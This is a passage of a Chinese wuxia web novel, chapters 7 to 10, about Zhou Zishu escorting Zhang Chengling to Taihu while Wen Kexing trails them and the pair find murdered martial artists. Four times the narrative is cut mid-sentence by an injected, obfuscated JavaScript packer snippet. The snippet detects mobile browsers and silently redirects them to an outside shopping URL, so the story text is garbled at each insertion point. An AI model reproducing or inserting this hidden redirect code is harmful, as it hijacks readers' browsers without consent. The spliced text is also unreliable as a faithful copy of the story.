他抽抽噎噎的模样,可怜极了,虽是和周子舒萍水相逢,眼下却除了此人之外别无依仗,简直把周子舒当成救命活佛一般。 周子舒面无表情地看了他一眼,淡淡地道:“男儿膝下有黄金,你爹没教过你么?” 张成岭愣了片刻,忽然福至心灵,使劲在脸上抹了抹,鼻涕眼泪一水地蹭在袖子上,说道:“拜天地君亲师,天经地义,周叔乃是大恩人,让成岭拜您为师吧!” 一边温客行和顾湘津津有味地看着,顾湘还小声点评道:“咦,昨儿还窝窝囊囊傻呵呵的一个小子,怎么这会机灵起来了?” 周子舒只得道:“你先起来。” 张成岭倔强地道:“师父不答应,我就不起来!灭门大仇,如不得报,我张成岭何以为人?!师父……” 周子舒懒得再听他豪言壮语,一把抓住他肩膀,拎小鸡似的,便将他硬是从地上给拎了起来,自嘲道:“我一个快入土的废人,活一天是一天的,有什么能教你的,听闻太湖赵敬大侠,乃是你父亲的故交,我送你过去,不用求,自然有人排着队地教你功夫帮你报仇。” 然后他转身运力于掌,将那大佛像拦腰抱起,走到香案旁,用力一推,便推回原位,嘴里念叨了一句着“罪过罪过”,双手合什,不正不经地拜了两下,回头看了一眼呆怔怔的张成岭,说道:“起得来便走吧,你不是要报仇么,得快点去找赵大侠才是,我带你出去找点吃食。” 言罢旁若无人地伸了个懒腰,对顾湘笑了笑,没理会温客行,转身往外走去,也不管张成岭跟上不跟上。 张成岭委委屈屈地站了一会,发现这人真的走了,这才只得匆匆忙忙地追了出去。 温客行手指蹭着下巴,颇有兴味地望着这两人的背影思量了片刻,一拍大腿站起身来,对顾湘道:“走,去太湖,跟着他们。” 顾湘收了脸上的嬉皮笑脸,沉吟了一下,才低声道:“主人,据那张成岭说,昨日在张家灭门屠杀的是青竹岭恶鬼众,吊死鬼薛方也在。” 温客行淡淡地扫了她一眼,道:“嗯,所以呢?” 顾湘怔了一下,眼看着温客行已经往外走去,忙急急跟上,正色道:“那吊死鬼分明是个冒牌货,昨日被我打死了,主人……早知道些什么么?” “阿湘。”温客行扫了她一眼,那双眼像是要把人吸进去一样。 顾湘立刻低下头,小声道:“是,奴婢多嘴了。” 那一刻这天不怕地不怕似的少女竟脸色泛了白,神色分明是恐惧。温客行深深地看了她一眼,这才满意地转过目光,继续往前走,顾湘依然默默地跟在他身后不远的地方。 只听温客行径自道:“我们跟着那姓周的人,我肯定看不错,他必是个美人,这一路跟下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450097|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总有能揪出他的狐狸尾巴,阿湘,你不信,我们可以打赌。” 于是周子舒这一路,必定是不能安宁的了。 带着张成岭,简直像是带了一个无敌臭屁,一路上招了不知苍蝇追着飞。这一夜又打发了一帮追来的人,他把玩着手上那二钱碎银子,就后悔不迭了。 他功力还剩五成,一身能耐本事在,这些人倒也奈何他不得,只是七窍三秋钉在身,精力时有不济,便不耐烦他们这样没白天没黑夜地换班折腾,一边应付追来的虫子,一边又提防着那天莫名其妙就不紧不慢地跟在自己身后的主仆两人。 若是只有周子舒自己,甩开他们倒也容易,可始终带着个小累赘,再者那温客行不知何方神圣,竟也是有些本事的,几次三番地甩掉了他们,可过了不到半天,便又能看见温客行那张眼下叫他十分想揍上一拳的脸。 周子舒悄无声息地把那试图偷袭的黑衣人的尸体拖了出去,然后回到房中,再次在黑暗的地方坐下调息,张成岭无所察觉,仍在呼呼大睡,做梦做得不亦乐乎,这几日带着他,倒也不觉得这少年有什么要不得的少爷习性,当初那水做的似的,就会哇哇大哭的孩子,好像经此一事,忽然被迫长大成人。 不管赶路极缓,从不多一句嘴,周子舒说什么便是什么,老实得很,只是满口“师父”改不过来。 改不过来便改不过来,周子舒心里想着,反正把他往太湖赵家一丢,自己就走人,该游历哪游历哪去,他计划得好好的,还剩三山五岳几大湖要看,北边便不去了,南疆还有个故友没来得及拜访,少不得要在下黄泉前去跟他打个招呼,讨杯水酒喝…… 忽然,床上的少年便大汗淋漓地挣动起来,他每天晚上都几乎要来这么一出,表面上是没事了,一心一意专门想着好好报仇,振作了起来,可那夜记忆却始终如梦魇如影随形,周子舒叹了口气,将他推醒。 张成岭大叫一声坐起来,目光直愣愣地,半晌,才反应过来,转向周子舒,小声道:“周叔……我不是故意的。” 他本是少不更事的年纪,那眼中虽满含血丝,眼神却仍旧纯净,纯净得莫名熟悉,叫周子舒恍然想起了一个深埋记忆里的人。 曾经那个……心心念念要和他浪迹江湖的人。 便忍不住愣住了。 张成岭小心地道:“周叔,我不是故意吵醒你的,我就是梦见我爹……”他嘴唇颤抖起来,青白一片,“要不……要不我不睡了吧?” 周子舒拍拍他的肩膀,下意识地柔声道:“不妨事,你睡你的,再做恶梦我叫你。” 张成岭低低地应了一声,钻回了被子里,手指仍下意识地拉着周子舒的袖子。 周子舒意味深长地看了被拉住的袖子一眼,张成岭讪讪地笑了笑,又将手指蜷缩着收回去。 就在这时,不远处似乎有人拨了一下琴弦,“铮”的一下,张成岭只觉那声音似在耳边炸起的惊雷一般,五脏六腑都随之震颤了一下,随后竟是剧痛,闷哼一声,死命捂住胸口—— 8. 第八章 月色 那琴音极细,如蛛丝缠缚,仿佛来自四面八方一般,带着一股子说不出的诡谲肃杀之意。 顾湘甫一听见,便也觉得内息翻滚,只是她见机快,立刻强迫着自己冷静了下来。 而原本在床上躺着睡觉的温客行,不知何时起来了,悄无声息地站在窗户边上,透过窗棱的月色照在他脸上,那脸色也仿佛柔和了些似的,眼睛却一眨不眨地盯着黑暗中的一个地方。 他长长的影子拖在身后,一动不动,乍看面无表情,却又隐含笑意,像是一尊冷漠而诡异的石像,夜色之下,身上的危险之意不加掩饰地释放出来。 像是个无喜无愁的鬼魅。 顾湘人机灵得很,一察觉不对,立刻封住自己的耳朵,尽量不听外面的音,端坐调息,抱守元一,好一会才将那股子恶心给压下去。 温客行用细长的手指划过窗棂,低低地笑了一声:“竟然请来了魅曲秦松……这手笔不小,也不知是在对付谁。” 忽然,他听到有什么东西破风而过的声音,像是琴弦太干涩了,已经发不出琴音,只能闷闷地发出“扑扑”的响,又像是什么人弹出了几颗极小的小石子,打在漫无边际的虚空里。 几不可闻,却微妙地将那缠缠绵绵无止无休的琴音打断,像是往水中扔了一个小石头,清波细流瞬间荡起波纹,在人看不见、捕捉不到的地方扩散开去。 琴声果然一滞。 温客行靠在窗边,闭上眼,仔细地听着,嘴角露出一个玩味的笑容。 随后,琴声猛地再次响起,洪水猛兽一样地汹涌而来,弹琴的人忽然痛下杀招,而几乎与此同时,那隔壁房中传来一声尖鸣,细听起来,像是笛子,可一般的笛子不会发出这样的声音,极尖锐,尖锐到像是要撕裂什么似的。 时间掐算得极准,笛子的尖鸣和恶毒的琴声短兵相接。 弹琴人的琴弦瞬间崩断。 随后万籁俱寂了。 温客行又在那里站了一会,摇头自语道:“长于刀剑者必死于刀剑,古人诚不欺我也。” 顾湘这才松了口气,抹掉额上的冷汗:“主人,你说那个秦……秦什么东西的,死了没有?” 温客行轻轻地说道:“就算不死,也是经脉尽断,从此以后是个废人了。我觉得他还是死了比较舒服。” 他忽然伸手推开窗户,将话音放得更轻,好像怕惊动什么似的:“阿湘啊,这世间之事,总是那么有趣,想要什么,从来没有不付出什么的道理,以一柄七弦琴,杀人于无形间之事,固然痛快有趣,可也要提防别人反噬。” 顾湘歪着头问道:“什么时候会反噬呢?” 温客行耐心地解释道:“别人比你强的时候。” 顾湘点点头,想了想,又道:“做什么要跟比自己强的人较劲,去欺负比自己弱的不就得了?” 温客行回头看着她,他逆着月光,整个人像是镶了层银边,脸上的神色越发看不分明,半晌,才道:“你可以谁也不欺负,像我一样,做个好人。” 随后他伸手将门打开,顾湘胆战心惊地目送着这位“好人”走了出去。 周子舒自己的情况也不太好,他那柄笛子是赶路无聊,随手削的,大概是技术不到家,吹出来的音老不准,荒腔野调、呕哑嘲哳的,便不再摆弄它,谁料今晚这还真用上了。那笛子只吹了一声,便裂了一道大口子,幸而他诱得那人全力,这才侥幸一击得中,不然还真不知该如何收场了。 张成岭整个人像是水里捞出来的,他功力太浅,即使周子舒及时堵上了他耳朵,还是受了内伤,已经呕吐了一回,面如金纸似的。 周子舒担心他年幼受病,顾不得自己调息,便将手掌贴在他后背,沉声吩咐道:“凝神。” 随后用内力帮他走了一周,见他面色稍微缓过来一些,这才撤掌,自己却已经大汗淋漓。 心道幸好此地距离太湖赵家庄已经没有多远,不然恐怕自己真要有辱使命了,他这半生没干过什么好事,若是第一回想着要积德,便半途而废,只怕不吉利。 若说江湖中大小事,南北人,恐怕没有人比这前任天窗首领更清楚,方才琴音一起,他立刻便知道了外面这人是谁。 传说中“魅曲秦松”是个太监,最爱做女子打扮,穿红戴绿地昭示世人他是个毒物,因他这杀人不见血的功夫,便真做起了杀人的买卖,一贯奉行有奶就是娘的原则,谁给钱多,就给谁当狗。 这会没了声息,周子舒知道他不死也差不多了,若是他全盛时候,对这样的人,也没必要赶尽杀绝,可他现在失了五成功力,只剩半条命,对自己把握也不大,反而狠毒了不少。 只听窗外有人击掌赞道:“此夜曲中闻折柳,何人不起故园情——如此星辰如此月,周兄和琴音抚长笛,如此雅事,非美人不可行也。” 胡说八道到这种水平,也算让人叹而观止了。 周子舒心道,又没察觉此人形迹,他便已站在窗外,这样神出鬼没的个人,他全盛时候尚且需要忌惮,江湖中就他所知,总共有三个半人,个个都得罪不得。 便深吸一口气,推开窗户,指着自己那张青黄菜色的面皮,用一种十分呆滞木讷的眼神看着温客行问道:“美人?” 温客行呛住,在他那张虽说不上惨不忍睹,可也懒得让人看第二眼的脸上扫了一圈,然后转身去看月亮了。 周子舒抬腿坐在了窗户上,也随着他的目光望去,这夜是满月,月光如水,地面如霜,分外明朗似的。 周子舒心里琢磨着这位自称温客行的人,是那三个半中的哪一个,一边又忍不住思量着他一直跟着自己的动机,越想越觉得扑朔迷离。 他从这个人身上,感觉到了一点十分微妙的、同类的味道,于是便知道,这人定然也是无利不起早的,跟着自己……或者,跟着张成岭到太湖,必然是有所图,想了一会,没什么头绪,便暗暗自嘲,心道这刨根问底,可是老毛病了。 一低头,见那温客行正饶有兴致地打量着他,便笑道:“温兄若实在好奇,不如扒开我这皮囊,看看里面几层肉几层骨头?” 温客行挑挑眉,忽然道:“也好。” 他“好”字话音未落,便闪电似的出手抓向周子舒面门,周子舒早有防备,往后一仰,腰折了下去,一条腿抬起来踢向温客行手腕。 电光石火间,两人竟你来我往地连过十来招,叫人眼花缭乱应接不暇。 周子舒觉得自己扒在窗户上,行动颇为受限,比较吃亏,便低头躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450098|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过他一掌,纵身跳下来,然而对他来说,夜本就不好过,遑论已经折腾了大半宿,胸口一颗钉子尖锐得疼痛起来,叫他动作一滞。 仅仅是刹那,温客行的手掌已经抵到他胸前,劲风袭来,招式却徒然顿住。 周子舒低头看了一眼那几乎贴在自己胸前的手,表情却依然从容,笑道:“多谢温兄手下留……” 然而一句话话音没落,温客行那只手却突然摸上了他的脸,摸还不算,还用手指慢慢地摩挲着,好像分辨那玩意是人皮还是猪皮做的似的。 周子舒还没来得及退开,便见那边顾湘大概是听见了动静,从窗户里探出头来,只扫了一眼,便捂住眼睛又把头缩了回去,口中叫道:“哎哟,非礼啊!” ——不错,说出了他的心声。 温客行靠得很近,表情又极认真——他表情看起来一直很认真,月光就暧昧起来,看起来还真像非礼的。 那边顾湘也不知道压低点声音,径自嘀咕着:“针眼啊要长针眼啊……” 周子舒忙干咳一下,往后旁边了一大步,定定神,啼笑皆非地问道:“温大侠,可看出在下这张脸是什么做的了?” “皮肉做的。”温客行沉吟半晌,得出这么个结论。 周子舒表示无条件赞同。 温客行盯着自己的手指道:“奇怪……奇怪,竟然摸起来像是你自己长得似的。” 周子舒镇定地说道:“不才,正是在下自己长的。” 若有第三个人在场,肯定觉得这两个男人中间有一个是疯子——当然,顾湘除外。 温客行似乎感觉受了点打击,又盯了周子舒一眼,起身便走——没回房,而是往外走去。顾湘这才又探出头来,眼珠一转,笑眯眯地说道:“这回好啦,我家主人估计是接受不了现实,去勾栏院找他的美人去了,他走了,大家都能早点洗洗睡了。” 温客行头也不会,人已经离得很远了,然而他的声音却轻飘飘地,好像一根线似的顺着风飘过来,准确无误地飘到顾湘耳朵里。 他说道:“阿湘,你说得是人话么?” 顾湘从善如流地道:“我在放屁。” 随后迅速缩了回去,拉上窗户——像是急着要去独吞这个屁。 周子舒这才微微松了口气,慢慢地放软身体,靠在墙上,死死地咬住牙关,不发出一点声音。 幸好那疼痛是一阵一阵的,过了一会,稍微好了些,他这才将自己整理了一番,回屋去了。 这一宿,好像特别的长。 三日后,周子舒带着短短几天之内瘦了一圈的小少爷张成岭,抵达了太湖。 敲开了赵敬的门,还不待他说明来意,那老管家一双眼便直直地看向了张成岭,失声道:“你是……你是成岭?你是成岭是不是?!” 然后回头对里面的小厮大叫道:“快去叫老爷来,成岭少爷来了!成岭少爷还活着!” 不多时,太湖赵敬赵大侠亲自迎出来,张成岭“扑通”一声跪在地上,看来张家的噩耗已经是传遍大江南北了,一帮人哭做一团,然后大张旗鼓地将他们二人迎了进去。 周子舒想,终于不用担心有人在地下找自己的祖宗麻烦了——积德做好事,可也真是太辛苦了。 9. 第九章 林中 太湖赵敬,人称秋山剑客,乃是一代名侠。 在周子舒未曾抵达太湖之前,还是有些期待亲眼见一见这只闻其名,未来得及一睹真容的武林名宿的,特别是他听说,华山掌门的独生子、少侠于天杰,断剑山庄庄主穆云歌,独目侠蒋彻等人也在赵家的时候。 这些人的身份、背景,周子舒心里都如数家珍——为防有以武犯忌者,天窗有一个单独的库房,凡是近五十年内江湖中数得上名字的人,生平大小事件,全收录其中。 比如周子舒知道,那行侠仗义的秋山剑客赵敬年轻的时候曾被逐出家门,因而穷困潦倒,为图赏金,和那魅音秦松干过差不多的事,二十七岁之后才改回本名赵敬,取了太湖冯家的独女,靠裙带发迹,还秘密追杀过那些知道他过去的知情人,赵家这才又将他认了回来。 比如那眼下最富盛名的少侠于天杰,据说他和峨眉一个姑娘有染,之后始乱终弃,叫那姑娘带着三个月的胎儿,自尽房中——当然,那位姑娘情深意重,始终没供出奸夫是谁。 周子舒太知道这些人是什么嘴脸,于是便更加有兴趣了,再者禁不住张成岭央求,便随他在赵家住了一宿。 赵敬不管干过什么,眼下是真有了些大侠风范,丝毫没因为周子舒那副一步三摇、浑身破烂的尊荣而看低他,他毕竟有些见识,稍微一听张成岭哭诉,便知道这一路艰辛,于是自然对周子舒来历起了疑心。 当天安排两人住下,沐浴更衣、酒足饭饱以后,赵敬便把张成岭叫到书房,听他详说到底发生了什么。 张成岭是个孩子,又好不容易看见亲人,自然有什么说什么,很多事他是一知半解,赵敬听来却胆战心惊,思量许久,忍不住问道:“那……那位周大侠,是个什么人物,底细你知道么?” 张成岭老老实实地把那日荒庙里发生的事说了一遍。 赵敬眯起眼睛,捋着自己的胡子,又安慰了几句,才叫张成岭下去休息。 不过十几日相处,周子舒也有些了解张成岭这孩子,知道他虽娇生惯养长大,人有点不成器,却也是个好孩子,心眼不错,也能吃得了苦,就是有点憨。估计被赵敬那老狐狸叫去说话,三言两语能把自己卖得干干净净——而他本人估计还意识不到。 心里暗暗一笑——周絮也好,周子舒也好,这些年来都是隐形的。或者有见多识广、人脉广泛者隐隐知道有那么一群人叫做“天窗”,却绝不会有人知道,天窗的首领是谁。 便是“周大人”,也不过挂名为一个小小的武将,负责大内侍卫调度,在那些大人物们眼里,是个值得巴结但不用放在眼里的角色。 果然,第二日清早开始,周子舒骤然成了太湖赵家庄新鲜出炉的第一香饽饽,没走出自己住的小院子,来客便络绎不绝起来。 他不得已,只得做起了迎来送往地买卖—— 哦,赵大侠,久仰久仰,得见真容三生有幸,百闻不如一见……在下师承何处?咳,无名小卒而已,何足挂齿。 哦,钱大侠,久仰久仰,得见真容三生有幸,百闻不如一见……在下出身?在下一个叫花子,有什么出身不出身的,不不不,不是丐帮,哪里高攀得起丐帮?无名小卒罢了…… 哦,孙大侠,久仰久仰,得见真容三生有幸,百闻不如一见……您没听说过也是应该的,无名小卒罢了,不足挂齿。 哦,李大侠,久仰久仰,得见真容三生有幸,百闻不如一见……不不,在下和那位李大侠没什么私交,路见不平拔刀相助罢了,门派?不曾有,区区不过无名小卒一人尔,不足挂齿,不足挂齿。 到了傍晚的时候,周子舒的脸已经笑得有些僵硬了,揉了半晌才揉回来,他深切地觉得,再这么下去,恐怕有中风的危险,便打算离开了。 在打听别人家私事的执着程度上,江湖大侠其实和市井八婆们十分相像,恨不得把脑袋削减了往人门缝里钻,眨巴着火眼金睛,非要看穿你是个披着人皮的何方妖孽。 那位说我乃是八大门派出身,谁谁谁是我师父,那位就能说,哦,久仰久仰,在下师叔和尊师早年交情不错,这就算攀上关系了。 否则,便是非我族类,人品怎样,可有待长期考察了。 是夜,月相下弦,子夜十分,周子舒倏地睁开眼睛,他天没黑便已经躺下了,此刻七窍三秋钉才开始发作,并不严重,养精蓄锐已久,那点疼便不怎么在意了。 他起身,犹豫了一下,觉得不告而别颇为无礼,便留了两张字条,一张给张成岭,上书:青山不改绿水长流。写完后觉得挺得意,发现自己越来越有江湖人风范了,然后又铺开另一张,给赵敬留下一句话:承蒙款待,多谢。 压在茶壶底下,便轻飘飘地上了屋顶。 屋顶上一只小狸猫正悄无声息地顺着瓦片走,它只觉眼前有影子闪过,警醒地顿住脚步,瞪着大眼睛四下打量一番,可什么都看见,便颇有几分困惑地歪歪头,接着往厨房的方向跑去。 周子舒悄无声息地离开了赵家山庄,自以为谁都没惊动,谁知赵家庄外不到一里的小树林里,有一个人好像早预料到了似的,竟已经在那里等着他了。 周子舒一眼瞧见便一个头变成两个大,只见温客行笑眯眯地抱拳道:“咦,周兄,真是巧,看来你我缘分不浅么,几次三番月下相逢,可谓心有灵犀了。” 周子舒也笑眯眯的,说道:“是巧,温兄。” 心道——巧个鬼,瘟神。 他一偏头,却没见着顾湘,便笑问道:“怎么不见顾姑娘?” 温客行非常直接地说道:“那丫头碍手碍脚,脚程也慢,有她跟着碍事,我恐怕便见不到阁下这位神出鬼没的……大人物了。” 周子舒脸上笑容凝住,盯着温客行,半晌,才道:“区区不才在下若也是大人物,那长明山古僧、南海观音殿毒王、青竹岭鬼主又当如何?” 温客行意味深长地看了他一眼,说道:“古僧不问世事,只求修仙,毒王据说已入江湖,形迹难寻,鬼主倒不曾见过,只知道是个藏头露尾的东西……算不算人还两说呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450099|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 随后两人各怀鬼胎地相视一笑。 周子舒这才率先移开目光,说道:“周某不过是个过路的,各位何必都盯着我不放呢?” 温客行却好像白日踏春偶然碰见一老友似的,慢吞吞十分悠闲地说道:“既然如此,太湖风光,远近闻名,周兄怎么不在赵家多住些日子,何必这样急着赶路?” 周子舒道:“太湖风光,在下已经领略一二,便不多叨扰了,恐怕赵大侠麻烦不少,周某区区一个小人物,没多大本事,和赵大侠也没什么渊源,不过二钱银子的人情,犯不着跟着他们同生共死。” 他顿了顿,又补充了一句道:“护送张小少爷,不过积德行善而已,百年之后见了阎王,少受些扒皮抽筋之苦,我便知足了。” “积德行善。”温客行重复了一遍,颇为赞同地点点头,“不错,周兄真乃和我志同道合之人,一向和温某志同道合的都是美人,由此可见……” 周子舒一听他嘴里说出“由此可见”,就觉得太阳穴上一根神经突突地往外跳,才要出言打断,忽然,温客行身后的林中远远地地方传来一声惨叫。 两人同时顿了一下。 随后,只见温客行指着身后,问道:“你看,志同道合之人,积德行善的机会又来了。” 周子舒犹豫了一下,到底还是往声音传来的方向飞掠而去,一边无奈道:“温兄,眼疾乃是大事,及早找个大夫是正理。” 温客行紧随其后,周子舒的轻功几乎已经到了踏雪无痕的地步,然而这人竟好似不费力似的跟他保持着三尺左右的距离。一般人通常这时候不说话,以防走了真气,他却毫不在意地接了一句:“是,周兄说得有理,如有机会,定要拜访几个名医,好好医治医治,还没上岁数,眼神便越发不好了,竟到现在都没能看出周兄脸上的破绽,惭愧惭愧。” 周子舒非常想让他再也用不着那双“越发不好的眼神”。 想想而已,知己不知彼,以前任天窗首领的理智和自控,是绝不会做出这样不靠谱的事的。 两人脚程极快,眨眼间便进了密林深处,然后便见了一具尸体。 那人竟身着夜行衣,脸上蒙面的面罩却已经掉在了一边,双目大睁,死相十分狰狞。周子舒远远一看便觉得这人十分眼熟,于是俯下身去,仔细打量,忍不住皱眉道:“这不是……那位断剑山庄庄主穆大侠么?” 白天还在他屋子里腻歪着说了足足有小半个时辰的废话,想不到晚上跟他一样做了夜猫子,还不幸变成了一只死夜猫子。 温客行也凑上来,饶有兴致地搓搓自己的下巴,问道:“月夜,夜行衣,难不成……” 周子舒回过头来准备聆听他的高论。 只听温客行高论道:“这穆庄主,是出来采花的?” 周子舒面无表情地又回过头去,自觉定力不错。 穆云歌身上身边并没有血迹,嘴唇却有些发青,周子舒想了想,轻轻地揭开他的衣襟,只见这人胸口上赫然印着一个乌黑的手掌印。 10. 第十章 幽冥 周子舒盯着那手掌印看了片刻,然后忽然把尸体翻了过去,扒开了他的上衣——只见那尸体后背的同一个位置,竟还有个手掌印。 温客行感叹一声,问道:“他是被人当饼烙了,还是被打穿了?” 周子舒淡淡地道:“没人费这么大力气去打一个死人,他是被人一掌打穿了的,这种掌法,近五十年我只知道一个人……” 温客行接道:“喜丧鬼孙鼎的罗刹掌。” 周子舒看了他一眼,没言语,弯下身,仔细在穆云歌的尸体上摸索着,竟从穆云歌身上摸出几张银票和一堆散碎银两:“唔,大半夜的从赵家庄偷偷遛出来,还带了盘缠……”周子舒摸摸自己怀里——也带了。 “温兄,这夜猫子绝不是出来劫色的,一般劫色的人不带这么多银两。” “劫色的人好像也不带换洗衣服。”温客行用脚从一边的树丛里勾出了一个小包裹,也是黑布包了,里面装了一些换洗衣服之类出门在外的行李。 林中土地湿润柔软,印着杂乱的脚印,却并没有打斗过的痕迹,穆云歌身上除了那致命的一掌,也并没有别的伤痕,而他那柄出名的断剑都带在身上,这柄利器甚至没来得及出鞘。 穆云歌功夫不弱,决不至于跟个没断奶的娃娃似的毫无还手之力,周子舒沉默了片刻,心想,那就是道貌岸然的断剑山庄庄主,和鬼谷喜丧鬼月上柳梢头,人约黄昏后? 一个本以为是情深意重,谁知道有人恼羞成怒,最后峰回路转的血腥故事。 这里似乎曾经出现过三个人,穆云歌的脚印止于此处,另外两个人似乎不是一码事,分别往不同的方向去了,而其中一个看样子是尾随着穆云歌而来,之后又和周子舒一样,曾经蹲在尸体前查看过。 周子舒蹲在地上,刨根问底的老毛病犯了,心里像是有小猫挠似的,十分想循着脚印过去看看,可理智又告诉他,这必然是件麻烦事,他本人不再是无所不知无所不能的天窗首领了,没必要再给自己找别扭。 温客行见他十分不雅地蹲在地上,大有思考人生一蹲不起的架势,在旁边观察了他一会,终于忍不住开腔道:“你不追么?” 周子舒看了他一眼,继续天人交战。 温客行想了想,忽然大步循着那第二个人的脚印走了出去,道:“那我追。” 周子舒下意识地跟着他走了,奇道:“你这是要管闲事?” 温客行正色道:“有人杀了断剑山庄庄主,我是个喜欢积德行善的好人,于是我决定管管试试看,反正闲着也是闲着。” 周子舒觉得他最后一句话说得十分有理,点点头,想了想,又问道:“那你干嘛不去追第一个人的脚印?那人脚印极轻,功力大概是这三个人里最深的,若暗中尾随穆云歌的人是从赵家庄出来的,那前边的这位,便一定是喜丧鬼孙鼎了。” 温客行脸不红心不跳地说道:“你要去追喜丧鬼你自己追,我不去,我虽然是个爱管闲事的好人,可也怕死。” 周子舒默无声息地被他的坦率给煞到了,跟着温客行一路追了下去,期间自然而然地注意看到了温客行脚下——他竟是没有脚印的。 一个踏雪无痕的人,说他怕喜丧鬼,怕死。 曾经掌管大内八卦的周子舒立刻决定屈从于自己心里的欲望,决定要跟去看个究竟——反正他都要死了,要死的人怕什么的,想怎么样就怎么样呗。 两人艺高人胆大地在林中穿梭,然后在一条河边上,找到了他们追踪的人——华山于天杰。 他被一根蛛丝一样的银丝给吊在了树上,头掉了一半,还有一点点和脖子连着,在微风中飘扬,摇摇欲坠。 一滴血落下来,温客行往后躲了一步,以防死人血溅在自己身上,然后他微微抬起手,在于天杰身上推了一下,于天杰的脖子和脑袋就彻底分家了——脑袋还黏在那根线上,身体轰然落下。温客行在他身上摸了一把,撇嘴道:“还暖和着呢,刚死。” “蜘蛛丝。”周子舒仰着脸和于天杰两两对视,顿了一下,“吊死鬼的蜘蛛丝。” 这太湖是注定有的热闹了。 忽然周子舒耳朵一动,喝道:“谁?!” 随后树后猛地暴起一道黑影,像个大蝙蝠一样飞掠而出,几个起落竟不见了踪影,周子舒想都没想便纵身跟上。 温客行在原地顿了顿,口中道:“我怕死,怕死……嗯……怕死才不能一个人在这地方呆着。”于是也跟了上去。 周子舒手中扣了一枚松果,屈指一弹,直取那黑衣人后心,然而他后半夜本就气力不足,又追了这么大半晌,好像是有些力道不足,虽打中了,那人却只是往前一扑,并未如他预想中那样倒下,头也不回,更加发足狂奔。 周子舒有些疑惑,心道这难道是真的吊死鬼薛方?他自然不会觉得自己不是薛方对手,可若真是那青竹岭十大恶鬼之一,难道见了自己这么一个无名小卒,便会这样没命地逃么? 周子舒诧异地想道:“我又不是照妖镜……” 几个起落出了树林,林子后边竟是一大片坟地,幽幽的鬼火四处飘散,那吊死鬼好像终于到了自己的地盘,身形更如鬼魅一般,不知是不是周子舒的错觉,他竟听到这大半夜坟地中,好像有人在“咯咯”地笑着似的,那笑声还忽远忽近,着实让人汗毛倒竖。 然后,那吊死鬼的身影在鬼火中闪烁了一下,竟然就那么凭空消失了。 周子舒骤然顿住脚步。 温客行也停在他旁边,鬼火的蓝光映在他英俊的脸上,竟显得他那张些许有点不正经的脸变得诡异起来,远处有不知道什么动物的啸声,一只老鼠忽然从地里冒出来,并不怕人,直愣愣地盯着他们俩,不知是不是吃过了死人,那双小眼睛竟然是红的。 吊死鬼就消失在一棵大槐树下,树枝上站了一只猫头鹰,正歪着头望着这两个不速之客。 周子舒和温客行围着那树检查了好几圈,也没看出什么端倪来,周子舒皱起眉:“见鬼了……” 然后他听到一阵诡异的笑声,毛骨悚然地抬头去看温客行,温客行指指树上的猫头鹰,那笑声竟是从这鬼鸟嘴里发出来的。 猫头鹰和周子舒对视半晌,忽然展开翅膀飞走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450100|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 温客行道:“我小时候听说过,不怕猫头鹰叫,就怕猫头鹰笑,听说这玩意一笑,就是有人要死,你怕不怕?” 周子舒开始研究那大槐树下面的墓碑,上面竟然一个字都没写,闻言漫不经心地说道:“有两个人已经死了。” 温客行大概觉得十分有气氛,于是没理他,饶有兴致地继续道:“听说,有一个村子,有一年一个村民手里端着一碗红色的水,被猫头鹰打翻了,结果那年一个村子里连死了二十个人。” 周子舒抬头看着他。 温客行煞有介事地故意压低声音道:“这个是真事。” 周子舒不解地问道:“为什么一个村民手里要端一碗红色的水?” 温客行呛住,扭过头去干咳。 周子舒轻轻笑了一下,忽然伸手握住那槐树底下的墓碑,微微用力,那墓碑竟是活动的,随后他大力将那墓碑往一边掰开,只听“吱呀”一声,地上竟凭空开了一条口子,里面黑洞洞的,也不知道有多深。 温客行忙凑过来看,围着那洞口转了好几圈,啧啧称奇道:“听说沟通阴阳两界的地方,便是人间阴气汇聚的地方,旁边定要有一棵半死老槐——槐树乃是至阴之物,是鬼树,你听说过不曾?” 